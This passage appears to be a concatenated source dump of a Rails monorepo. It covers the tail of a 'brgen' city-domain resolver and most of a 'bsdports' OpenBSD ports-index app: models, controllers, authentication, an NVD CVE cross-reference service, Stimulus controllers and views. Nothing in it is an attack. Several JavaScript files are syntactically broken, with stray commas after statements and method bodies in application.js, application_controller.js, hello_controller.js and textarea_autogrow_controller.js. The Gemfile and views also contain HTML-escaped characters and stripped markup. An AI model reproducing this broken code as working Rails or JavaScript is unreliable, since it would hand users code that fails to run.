  Entry.new(\"mrseille.fr\", \"Marseille\", \"FR\", :fr, \"EUR\", \"marche\"),\n      Entry.new(\"mlan.it\", \"Milan\", \"IT\", :it, \"EUR\", \"mercato\"),\n      Entry.new(\"lisbon.pt\", \"Lisbon\", \"PT\", :pt, \"EUR\", \"mercado\"),\n      Entry.new(\"wrsawa.pl\", \"Warszawa\", \"PL\", :pl, \"PLN\", \"marktplatz\"),\n      Entry.new(\"gdnsk.pl\", \"Gda\u0144sk\", \"PL\", :pl, \"PLN\", \"marktplatz\"),\n      Entry.new(\"austn.us\", \"Austin\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"chcago.us\", \"Chicago\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"denvr.us\", \"Denver\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"dllas.us\", \"Dallas\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"dnver.us\", \"Denver\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"dtroit.us\", \"Detroit\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"houstn.us\", \"Houston\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"lsangeles.com\", \"Los Angeles\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"mnnesota.com\", \"Minneapolis / Minnesota\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"newyrk.us\", \"New York\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"prtland.com\", \"Portland\", \"US\", :\"en-US\", \"USD\", \"marketplace\"),\n      Entry.new(\"wshingtondc.com\", \"Washington DC\", \"US\", :\"en-US\", \"USD\", \"marketplace\")\n    ].freeze\n\n    ENTRIES_BY_DOMAIN = ENTRIES.to_h { |entry| [entry.domain, entry] }.freeze\n\n    def self.resolve(host)\n      normalized_host = normalize_host(host)\n      normalized_host = \"brgen.no\" if LOCAL_HOSTS.include?(normalized_host)\n\n      entry = entry_for(normalized_host)\n      city_record = resolve_city_record(entry)\n      subdomain = subdomain_for(normalized_host, entry.domain)\n\n      Result.new(entry, city_record, subapp_for(subdomain, entry), normalized_host)\n    end\n\n    def self.normalize_host(host)\n      host.to_s.downcase.split(\":\", 2).first.to_s.delete_suffix(\".\")\n    end\n\n    def self.entry_for(host)\n      ENTRIES_BY_DOMAIN.values.find { |entry| host == entry.domain || host.end_with?(\".#{entry.domain}\") } ||\n        raise(UnknownHost, host)\n    end\n\n    def self.resolve_city_record(entry)\n      return unless defined?(City)\n\n      City.find_by(domain: entry.domain)\n    end\n\n    def self.subdomain_for(host, domain)\n      return nil if host == domain\n\n      host.delete_suffix(\".#{domain}\")\n    end\n\n    def self.subapp_for(subdomain, entry)\n      return nil if subdomain.nil?\n      return :marketplace if subdomain == entry.marketplace_subdomain\n\n      SUBAPP_ALIASES.fetch(subdomain) { raise UnknownSubdomain, subdomain }\n    end\n  end\nend\n```\n\n## `rails/brgen/lib/brgen/seed_cities.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Brgen\n  class SeedCities\n    def self.sync!\n      Brgen::CitySeed.sync!\n    end\n  end\nend\n```\n\n## `rails/brgen/test/test_helper.rb`\n```ruby\n# frozen_string_literal: true\n\nENV[\"RAILS_ENV\"] ||= \"test\"\nrequire_relative \"../config/environment\"\nrequire \"rails/test_help\"\n\nmodule ActiveSupport\n  class TestCase\n    # Run tests in parallel with specified workers\n    parallelize(workers: :number_of_processors)\n\n    # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.\n    fixtures :all\n\n    # Add more helper methods to be used by all tests here...\n  end\nend\n```\n\n## `rails/bsdports/Gemfile`\n```text\nsource \"https://rubygems.org\"\nruby \"~&gt; 3.4\"\n\n# Bundle edge Rails instead: gem \"rails\", github: \"rails/rails\", branch: \"main\"\ngem \"rails\", \"~&gt; 8.1.2\"\n# The modern asset pipeline for Rails [https://github.com/rails/propshaft]\ngem \"propshaft\"\n# Use sqlite3 as the database for Active Record\ngem \"sqlite3\", \"&gt;= 2.1\"\n# Use the Puma web server [https://github.com/puma/puma]\n# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]\ngem \"importmap-rails\"\n# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]\ngem \"turbo-rails\"\n# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]\ngem \"stimulus-rails\"\n# Build JSON APIs with ease [https://github.com/rails/jbuilder]\ngem \"jbuilder\"\n\n# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]\n# gem \"bcrypt\", \"~&gt; 3.1.7\"\n\n# Windows does not include zoneinfo files, so bundle the tzinfo-data gem\ngem \"tzinfo-data\", platforms: %i[ windows jruby ]\n\n# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable\ngem \"solid_cache\"\ngem \"solid_queue\"\ngem \"solid_cable\"\n\n# Reduces boot times through caching; required in config/boot.rb\ngem \"bootsnap\", require: false\n\n# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]\ngem \"image_processing\", \"~&gt; 1.2\"\n\ngroup :development, :test do\n  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem\n  gem \"debug\", platforms: %i[ mri windows ], require: \"debug/prelude\"\n\n  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)\n  gem \"bundler-audit\", require: false\n\n  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]\n  gem \"brakeman\", require: false\n\n  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]\n  gem \"rubocop-rails-omakase\", require: false\nend\n\ngroup :development do\n  # Use console on exceptions pages [https://github.com/rails/web-console]\n  gem \"web-console\"\nend\ngem \"pagy\"\ngem \"falcon\"\n```\n\n## `rails/bsdports/README.md`\n```markdown\n# bsdports \u2014 OpenBSD ports index\n\nSemantic search and AI-assisted exploration of the OpenBSD ports tree.\n\n## Features\n\n- Full-text and semantic package search\n- Dependency graph visualization\n- Security advisory cross-reference\n- Infrastructure and toolchain recommendations\n- AI exploration assistant\n\n## Stack\n\nRails 8 \u00b7 SQLite \u00b7 Falcon \u00b7 Hotwire \u00b7 OpenBSD\n\n## Deploy\n\n```zsh\ndoas zsh DEPLOY/rails/bsdports/bsdports.sh\n```\n```\n\n## `rails/bsdports/STIMULUS_ROLLOUT.md`\n```markdown\n# bsdports Stimulus / Rails 8 rollout\n\nbsdports should become the production-readiness and accessibility reference app.\n\n## Implement first\n\n1. Auto Submit + Content Loader for port search across name, summary, description.\n2. Clipboard for install commands and port URLs.\n3. Reveal for dependencies, build flags, maintainer details, raw metadata.\n4. Timeago for import/build/security advisory timestamps.\n5. Notification for import completion, advisory updates, build failures.\n6. Popover for license, platform, security, maintainer hints.\n7. Read More for long descriptions.\n8. Checkbox Select All for compare/export sets.\n\n## Rails 8 work\n\n- SQLite FTS5 index for ports.\n- Solid Queue scheduled ports-tree import.\n- Solid Cache for search result fragments and dependency expansions.\n- Turbo Streams for import status and build/security updates.\n- Structured events:\n  - `bsdports.search.performed`\n  - `bsdports.port.viewed`\n  - `bsdports.install_command.copied`\n  - `bsdports.import.started`\n  - `bsdports.import.finished`\n  - `bsdports.advisory.published`\n\n## Missing foundations to add\n\n- Dependency model.\n- SecurityAdvisory model.\n- Maintainer model.\n- Dependency tree visualization endpoint.\n- WCAG AAA pass.\n\n## Acceptance\n\n- Search is keyboard-friendly and server-rendered by default.\n- Install command copy has visible success state.\n- Dependency/details reveal panels work without losing page navigation.\n- Import job progress is observable without a dashboard.\n```\n\n## `rails/bsdports/app/controllers/application_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationController &lt; ActionController::Base\n  include Authentication\n  include Pagy::Method\n  allow_browser versions: :modern\nend\n```\n\n## `rails/bsdports/app/controllers/categories_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CategoriesController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index show]\n\n  def index\n    @categories = Category.order(:name).includes(:ports)\n  end\n\n  def show\n    @category = Category.find_by!(slug: params[:id])\n    @pagy, @ports = pagy(@category.ports.order(:name))\n  end\nend\n```\n\n## `rails/bsdports/app/controllers/comments_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CommentsController &lt; ApplicationController\n  before_action :require_authentication\n  before_action :set_port\n\n  def create\n    @comment = @port.comments.build(comment_params.merge(user: Current.user))\n    if @comment.save\n      respond_to do |format|\n        format.turbo_stream\n        format.html { redirect_to @port }\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def destroy\n    @comment = @port.comments.find(params[:id])\n    @comment.destroy! if @comment.user == Current.user\n    respond_to do |format|\n      format.turbo_stream\n      format.html { redirect_to @port }\n    end\n  end\n\n  private\n\n  def set_port = @port = Port.find(params[:port_id])\n  def comment_params = params.require(:comment).permit(:content, :parent_id)\nend\n```\n\n## `rails/bsdports/app/controllers/concerns/authentication.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Authentication\n  extend ActiveSupport::Concern\n\n  included do\n    before_action :require_authentication\n    helper_method :authenticated?\n  end\n\n  class_methods do\n    def allow_unauthenticated_access(**options)\n      skip_before_action :require_authentication, **options\n    end\n  end\n\n  private\n    def authenticated?\n      resume_session\n    end\n\n    def require_authentication\n      resume_session || request_authentication\n    end\n\n    def resume_session\n      Current.session ||= find_session_by_cookie\n    end\n\n    def find_session_by_cookie\n      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]\n    end\n\n    def request_authentication\n      session[:return_to_after_authenticating] = request.url\n      redirect_to new_session_path\n    end\n\n    def after_authentication_url\n      session.delete(:return_to_after_authenticating) || root_url\n    end\n\n    def start_new_session_for(user)\n      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|\n        Current.session = session\n        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }\n      end\n    end\n\n    def terminate_session\n      Current.session.destroy\n      cookies.delete(:session_id)\n    end\nend\n```\n\n## `rails/bsdports/app/controllers/maintainers_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass MaintainersController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index show]\n\n  def index\n    @maintainers = Maintainer.order(:name).includes(:ports)\n  end\n\n  def show\n    @maintainer = Maintainer.find(params[:id])\n    @pagy, @ports = pagy(@maintainer.ports.order(:name))\n  end\nend\n```\n\n## `rails/bsdports/app/controllers/passwords_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsController &lt; ApplicationController\n  allow_unauthenticated_access\n  before_action :set_user_by_token, only: %i[ edit update ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_password_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.find_by(email_address: params[:email_address])\n      PasswordsMailer.reset(user).deliver_later\n    end\n\n    redirect_to new_session_path, notice: \"Password reset instructions sent (if user with that email address exists).\"\n  end\n\n  def edit\n  end\n\n  def update\n    if @user.update(params.permit(:password, :password_confirmation))\n      @user.sessions.destroy_all\n      redirect_to new_session_path, notice: \"Password has been reset.\"\n    else\n      redirect_to edit_password_path(params[:token]), alert: \"Passwords did not match.\"\n    end\n  end\n\n  private\n    def set_user_by_token\n      @user = User.find_by_password_reset_token!(params[:token])\n    rescue ActiveSupport::MessageVerifier::InvalidSignature\n      redirect_to new_password_path, alert: \"Password reset link is invalid or has expired.\"\n    end\nend\n```\n\n## `rails/bsdports/app/controllers/ports_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PortsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index show crossref_cves review]\n  before_action :set_port, only: %i[show watch unwatch crossref_cves review]\n\n  def index\n    scope = Port.includes(:category)\n    scope = scope.search(params[:q]) if params[:q].present?\n    scope = scope.by_category(params[:category_id]) if params[:category_id].present?\n    scope = scope.order(params[:sort] == \"updated\" ? \"last_updated DESC\" : :name)\n\n    respond_to do |format|\n      format.html do\n        @pagy, @ports = pagy(scope)\n        @categories = Category.order(:name)\n      end\n      format.rss do\n        @ports = scope.where(\"last_updated &gt;= ?\", 7.days.ago).order(last_updated: :desc).limit(100)\n        render layout: false\n      end\n    end\n  end\n\n  def show\n    @updates = @port.port_updates.order(committed_at: :desc).limit(10)\n    @deps = @port.depends_on.includes(:category)\n    @rdeps = @port.reverse_deps.includes(:category).limit(20)\n    @comments = @port.comments.roots.includes(:user, replies: :user)\n    @comment = Comment.new\n    @advisories = @port.security_advisories.recent\n    @maintainer = @port.maintainer.present? ? Maintainer.find_by(name: @port.maintainer) : nil\n    @pkg_info = begin\n      out, = Open3.capture2e(\"pkg_info\", \"-q\", @port.name) rescue [\"(pkg_info not available in this env)\"]\n      out.strip\n    end\n  end\n\n  def watch\n    require_authentication\n    @port.watches.find_or_create_by!(user: Current.user)\n    respond_to do |format|\n      format.turbo_stream\n      format.html { redirect_to @port }\n    end\n  end\n\n  def unwatch\n    require_authentication\n    @port.watches.find_by(user: Current.user)&amp;.destroy!\n    respond_to do |format|\n      format.turbo_stream\n      format.html { redirect_to @port }\n    end\n  end\n\n  def crossref_cves\n    NvdCveService.crossref(@port)\n    redirect_to @port, notice: \"CVE cross-reference complete.\"\n  end\n\n  def review\n    # MASTER port review: scans Makefile/patches for quality (demo using metadata;\n    # real impl would load from ports tree import + Master::Judge::Scan::Scanner)\n    issues = []\n    issues &lt;&lt; \"missing HOMEPAGE\" if @port.homepage.blank?\n    issues &lt;&lt; \"weak COMMENT\" if @port.comment.to_s.length &lt; 20\n    notice = issues.any? ? \"MASTER review: #{issues.join(', ')}\" : \"MASTER review: clean (no issues found in demo scan)\"\n    redirect_to @port, notice: notice\n  end\n\n  private\n\n  def set_port\n    @port = Port.find_by(pkgpath: params[:id].tr(\"-\", \"/\")) || Port.find(params[:id])\n  end\nend\n```\n\n## `rails/bsdports/app/controllers/sessions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SessionsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[ new create ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_session_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.authenticate_by(params.permit(:email_address, :password))\n      start_new_session_for user\n      redirect_to after_authentication_url\n    else\n      redirect_to new_session_path, alert: \"Try another email address or password.\"\n    end\n  end\n\n  def destroy\n    terminate_session\n    redirect_to new_session_path, status: :see_other\n  end\nend\n```\n\n## `rails/bsdports/app/javascript/application.js`\n```javascript\n// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails\nimport \"@hotwired/turbo-rails\"\nimport \"controllers\"\n\nif (\"serviceWorker\" in navigator) navigator.serviceWorker.register(\"/service-worker\")\n\n// Nav swipe-to-reveal\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  const nav = document.querySelector(\"nav\");\n  if (!nav) return;\n  let y0 = 0;\n  document.addEventListener(\"touchstart\", e =&gt; { y0 = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener(\"touchend\", e =&gt; {\n    const dy = e.changedTouches[0].clientY - y0;\n    if (dy &gt; 40) nav.classList.add(\"nav-visible\");\n    else if (dy &lt; -40) nav.classList.remove(\"nav-visible\");,\n  }, { passive: true });,\n});\n```\n\n## `rails/bsdports/app/javascript/controllers/animated_number_controller.js`\n```javascript\nimport AnimatedNumber from \"@stimulus-components/animated-number\"\nexport default class extends AnimatedNumber {}\n```\n\n## `rails/bsdports/app/javascript/controllers/application.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\n\nconst application = Application.start()\n\n// Configure Stimulus development experience\napplication.debug = false\nwindow.Stimulus   = application\n\nexport { application }\n```\n\n## `rails/bsdports/app/javascript/controllers/application_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nimport StimulusReflex from \"stimulus_reflex\"\n\nexport default class extends Controller {\n  connect() {\n    StimulusReflex.register(this),\n  },\n}\n```\n\n## `rails/bsdports/app/javascript/controllers/auto_submit_controller.js`\n```javascript\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nexport default class extends AutoSubmit {}\n```\n\n## `rails/bsdports/app/javascript/controllers/character_counter_controller.js`\n```javascript\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nexport default class extends CharacterCounter {}\n```\n\n## `rails/bsdports/app/javascript/controllers/clipboard_controller.js`\n```javascript\nimport Clipboard from \"@stimulus-components/clipboard\"\nexport default class extends Clipboard {}\n```\n\n## `rails/bsdports/app/javascript/controllers/dialog_controller.js`\n```javascript\nimport Dialog from \"@stimulus-components/dialog\"\nexport default class extends Dialog {}\n```\n\n## `rails/bsdports/app/javascript/controllers/dropdown_controller.js`\n```javascript\nimport Dropdown from \"@stimulus-components/dropdown\"\nexport default class extends Dropdown {}\n```\n\n## `rails/bsdports/app/javascript/controllers/hello_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.element.textContent = \"Hello World!\",\n  },\n}\n```\n\n## `rails/bsdports/app/javascript/controllers/index.js`\n```javascript\nimport { application } from \"controllers/application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\nimport StimulusReflex from \"stimulus_reflex\"\nimport ApplicationController from \"controllers/application_controller\"\n\neagerLoadControllersFrom(\"controllers\", application)\n\nStimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })\n```\n\n## `rails/bsdports/app/javascript/controllers/notification_controller.js`\n```javascript\nimport Notification from \"@stimulus-components/notification\"\nexport default class extends Notification {}\n```\n\n## `rails/bsdports/app/javascript/controllers/sortable_controller.js`\n```javascript\nimport Sortable from \"@stimulus-components/sortable\"\nexport default class extends Sortable {}\n```\n\n## `rails/bsdports/app/javascript/controllers/textarea_autogrow_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.resize()\n    this.element.addEventListener(\"input\", this.resize),\n  }\n\n  disconnect() {\n    this.element.removeEventListener(\"input\", this.resize),\n  }\n\n  resize = () =&gt; {\n    this.element.style.height = \"auto\"\n    this.element.style.height = `${this.element.scrollHeight}px`,\n  },\n}\n```\n\n## `rails/bsdports/app/javascript/controllers/timeago_controller.js`\n```javascript\nimport TimeAgo from \"@stimulus-components/timeago\"\nexport default class extends TimeAgo {}\n```\n\n## `rails/bsdports/app/jobs/ports_import_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PortsImportJob &lt; ApplicationJob\n  queue_as :imports\n\n  def perform(source: nil)\n    Shared::EventEmitter.call(\"bsdports.import.started\", source:) if defined?(Shared::EventEmitter)\n    Rails.logger.info(\"bsdports import started source=#{source}\")\n\n    # Nightly sync demo (real: fetch CVS/git ports tree, parse Makefiles, upsert)\n    cat = Category.find_or_create_by(name: \"demo\") { |c| c.description = \"nightly demo category\" }\n    p = Port.find_or_create_by(pkgpath: \"demo/nightly\") do |pp|\n      pp.name = \"nightly-demo\"\n      pp.version = \"1.0\"\n      pp.category = cat\n      pp.comment = \"demo from nightly job\"\n    end\n    p.port_updates.find_or_create_by(new_version: p.version) do |u|\n      u.old_version = \"0.9\"\n      u.commit_message = \"nightly sync demo\"\n    end\n\n    Shared::EventEmitter.call(\"bsdports.import.finished\", source:) if defined?(Shared::EventEmitter)\n  rescue StandardError =&gt; e\n    Shared::EventEmitter.call(\"bsdports.import.failed\", source:, error: e.message) if defined?(Shared::EventEmitter)\n    raise\n  end\nend\n```\n\n## `rails/bsdports/app/models/category.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Category &lt; ApplicationRecord\n  has_many :ports, dependent: :nullify\n\n  validates :name, :slug, presence: true\n  validates :slug, uniqueness: true, format: { with: /\\A[a-z0-9-]+\\z/ }\n\n  before_validation :generate_slug, on: :create\n\n  def to_param = slug\n\n  private\n\n  def generate_slug\n    self.slug ||= name.to_s.parameterize\n  end\nend\n```\n\n## `rails/bsdports/app/models/comment.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Comment &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :port\n  belongs_to :parent, class_name: \"Comment\", optional: true\n  has_many :replies, class_name: \"Comment\", foreign_key: :parent_id, dependent: :destroy\n\n  validates :content, presence: true, length: { maximum: 5000 }\n\n  scope :roots, -&gt; { where(parent_id: nil).order(created_at: :asc) }\n\n  after_create_commit -&gt; { broadcast_append_to [port, \"comments\"] }\nend\n```\n\n## `rails/bsdports/app/models/current.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Current &lt; ActiveSupport::CurrentAttributes\n  attribute :session\n  delegate :user, to: :session, allow_nil: true\nend\n```\n\n## `rails/bsdports/app/models/dependency.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dependency &lt; ApplicationRecord\n  belongs_to :port\n  belongs_to :depends_on, class_name: \"Port\"\n\n  TYPES = %w[build run test lib].freeze\n\n  validates :dep_type, inclusion: { in: TYPES }, allow_nil: true\n  validates :port_id, uniqueness: { scope: %i[depends_on_id dep_type] }\n\n  scope :runtime, -&gt; { where(dep_type: \"run\") }\n  scope :buildtime, -&gt; { where(dep_type: \"build\") }\n\n  def label\n    [dep_type.presence || \"run\", depends_on&amp;.name].compact.join(\": \")\n  end\nend\n```\n\n## `rails/bsdports/app/models/installation.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Installation &lt; ApplicationRecord\n  STATUSES = %w[pending installed outdated removed failed].freeze\n\n  belongs_to :user\n  belongs_to :port\n\n  validates :status, inclusion: { in: STATUSES }, allow_blank: true\n  validates :version, length: { maximum: 128 }, allow_blank: true\n\n  before_validation :default_status\n\n  scope :active, -&gt; { where(status: %w[pending installed outdated]) }\n  scope :recent, -&gt; { order(updated_at: :desc) }\n\n  private\n\n  def default_status\n    self.status = \"pending\" if status.blank?\n  end\nend\n```\n\n## `rails/bsdports/app/models/maintainer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Maintainer &lt; ApplicationRecord\n  has_many :ports, dependent: :nullify\n\n  validates :name, presence: true\n  validates :email, format: { with: URI::MailTo::EMAIL_REGEXP }, allow_blank: true\n\n  scope :active, -&gt; { where(active: true) }\n\n  def label\n    email.present? ? \"#{name} &lt;#{email}&gt;\" : name\n  end\nend\n```\n\n## `rails/bsdports/app/models/port.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Port &lt; ApplicationRecord\n  belongs_to :category\n  belongs_to :maintainer, optional: true\n  has_many :dependencies, dependent: :destroy\n  has_many :depends_on, through: :dependencies, source: :depends_on\n  has_many :dependents, class_name: \"Dependency\", foreign_key: :depends_on_id\n  has_many :reverse_deps, through: :dependents, source: :port\n  has_many :port_updates, dependent: :destroy\n  has_many :watches, dependent: :destroy\n  has_many :watchers, through: :watches, source: :user\n  has_many :comments, dependent: :destroy\n  has_many :security_advisories, dependent: :destroy\n\n  validates :name, :version, :pkgpath, presence: true\n  validates :pkgpath, uniqueness: true\n\n  scope :recent_updates, -&gt; { joins(:port_updates).order(\"port_updates.committed_at DESC\").distinct }\n  scope :by_category, -&gt;(cat) { where(category: cat) }\n  scope :by_maintainer, -&gt;(maintainer) { where(maintainer_id: maintainer.id) }\n  scope :search, -&gt;(q) {\n    ids = connection.select_values(sanitize_sql_array([\"SELECT rowid FROM ports_fts WHERE ports_fts MATCH ?\", q]))\n    ids.any? ? where(id: ids) : none\n  }\n  scope :semantic_search, -&gt;(q) { search(q) } # stub for sqlite-vec embeddings on description (DG02)\n\n  def watched_by?(user)\n    watches.exists?(user: user)\n  end\n\n  def latest_update\n    port_updates.order(committed_at: :desc).first\n  end\nend\n```\n\n## `rails/bsdports/app/models/port_update.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PortUpdate &lt; ApplicationRecord\n  belongs_to :port\n\n  validates :new_version, presence: true\n\n  scope :recent, -&gt; { order(committed_at: :desc) }\nend\n```\n\n## `rails/bsdports/app/models/review.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Review &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :port\n\n  validates :rating, numericality: { only_integer: true, greater_than_or_equal_to: 1, less_than_or_equal_to: 5 }\n  validates :content, length: { maximum: 2_000 }, allow_blank: true\n\n  scope :helpful_first, -&gt; { order(helpful_count: :desc, created_at: :desc) }\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  def helpful!\n    increment!(:helpful_count)\n  end\nend\n```\n\n## `rails/bsdports/app/models/security_advisory.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SecurityAdvisory &lt; ApplicationRecord\n  enum :severity, { low: 0, medium: 1, high: 2, critical: 3 }, default: :medium\n\n  belongs_to :port, optional: true\n\n  validates :title, presence: true\n  validates :identifier, uniqueness: true, allow_blank: true\n\n  scope :recent, -&gt; { order(published_at: :desc, updated_at: :desc) }\n  scope :active, -&gt; { where(resolved_at: nil) }\n\n  after_create_commit { broadcast_prepend_later_to \"bsdports:security_advisories\" }\n  after_update_commit { broadcast_replace_later_to \"bsdports:security_advisories\" }\n\n  def nvd_url\n    source_url.presence || (identifier.present? ? \"https://nvd.nist.gov/vuln/detail/#{identifier}\" : nil)\n  end\n\n  def cve?\n    identifier.to_s.start_with?(\"CVE-\")\n  end\nend\n```\n\n## `rails/bsdports/app/models/session.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Session &lt; ApplicationRecord\n  belongs_to :user\nend\n```\n\n## `rails/bsdports/app/models/user.rb`\n```ruby\n# frozen_string_literal: true\n\nclass User &lt; ApplicationRecord\n  has_secure_password\n  has_many :sessions, dependent: :destroy\n  has_many :watches, dependent: :destroy\n  has_many :watched_ports, through: :watches, source: :port\n  has_many :comments, dependent: :nullify\n\n  normalizes :email_address, with: -&gt;(e) { e.strip.downcase }\nend\n```\n\n## `rails/bsdports/app/models/watch.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Watch &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :port\n\n  validates :user_id, uniqueness: { scope: :port_id }\nend\n```\n\n## `rails/bsdports/app/reflexes/application_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationReflex &lt; StimulusReflex::Reflex\nend\n```\n\n## `rails/bsdports/app/services/nvd_cve_service.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"net/http\"\nrequire \"json\"\nrequire \"uri\"\n\nclass NvdCveService\n  BASE = \"https://services.nvd.nist.gov/rest/json/cves/2.0\"\n\n  def self.crossref(port, limit: 5)\n    new(port).crossref(limit: limit)\n  end\n\n  def initialize(port)\n    @port = port\n  end\n\n  def crossref(limit: 5)\n    q = \"openbsd #{@port.name}\"\n    uri = URI(\"#{BASE}?keywordSearch=#{URI.encode_www_form_component(q)}&amp;resultsPerPage=#{limit}\")\n\n    http = Net::HTTP.new(uri.host, uri.port)\n    http.use_ssl = true\n    http.read_timeout = 10\n\n    req = Net::HTTP::Get.new(uri)\n    if (key = ENV[\"NVD_API_KEY\"]).present?\n      req[\"apiKey\"] = key\n    end\n\n    res = http.request(req)\n    return [] unless res.is_a?(Net::HTTPSuccess)\n\n    data = JSON.parse(res.body) rescue {}\n    vulns = data.dig(\"vulnerabilities\") || []\n\n    created = []\n    vulns.each do |v|\n      cve = v.dig(\"cve\") || {}\n      id = cve[\"id\"]\n      next unless id\n\n      desc = cve.dig(\"descriptions\", 0, \"value\").to_s[0, 500]\n      metrics = cve.dig(\"metrics\", \"cvssMetricV31\", 0, \"cvssData\") ||\n                cve.dig(\"metrics\", \"cvssMetricV2\", 0, \"cvssData\") || {}\n      score = metrics[\"baseScore\"]\n      pub = cve[\"published\"]\n\n      adv = SecurityAdvisory.find_or_initialize_by(identifier: id)\n      adv.port ||= @port\n      adv.title = desc[0, 200] if adv.title.blank?\n      adv.description = desc if adv.description.blank?\n      adv.published_at ||= pub ? Time.parse(pub) : Time.current\n      adv.cvss_score = score if score\n      adv.source_url ||= \"https://nvd.nist.gov/vuln/detail/#{id}\"\n\n      if score\n        adv.severity = case\n        when score &gt;= 9 then :critical\n        when score &gt;= 7 then :high\n        when score &gt;= 4 then :medium\n        else :low\n        end\n      end\n\n      created &lt;&lt; adv if adv.save\n    end\n    created\n  rescue StandardError =&gt; e\n    Rails.logger.warn(\"NVD CVE crossref failed for #{@port.name}: #{e.message}\")\n    []\n  end\nend\n```\n\n## `rails/bsdports/app/services/ports_search.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PortsSearch\n  COLUMNS = %w[name summary description].freeze\n\n  def self.call(query:, scope: Port.all)\n    new(query:, scope:).call\n  end\n\n  def initialize(query:, scope:)\n    @query = query.to_s.strip\n    @scope = scope\n  end\n\n  def call\n    return scope.order(:name) if query.empty?\n\n    if defined?(Shared::LiveSearch)\n      Shared::LiveSearch.call(scope, query:, columns: COLUMNS).order(:name)\n    else\n      like = \"%#{ActiveRecord::Base.sanitize_sql_like(query)}%\"\n      scope.where(\"name LIKE :q OR summary LIKE :q OR description LIKE :q\", q: like).order(:name)\n    end\n  end\n\n  private\n\n  attr_reader :query, :scope\nend\n```\n\n## `rails/bsdports/app/views/categories/index.html.erb`\n```erb\n&lt;% content_for :title, \"Categories\" %&gt;\n\nCategories\n\n\n  &lt;% @categories.each do |cat| %&gt;\n    \n\n      &lt;%= link_to cat.name, category_path(cat) %&gt;\n      &lt;%= cat.description %&gt;\n      (&lt;%= cat.ports.size %&gt; ports)\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/bsdports/app/views/categories/show.html.erb`\n```erb\n&lt;% content_for :title, @category.name %&gt;\n\n\n  \n&lt;%= @category.name %&gt;\n  \n&lt;%= @category.description 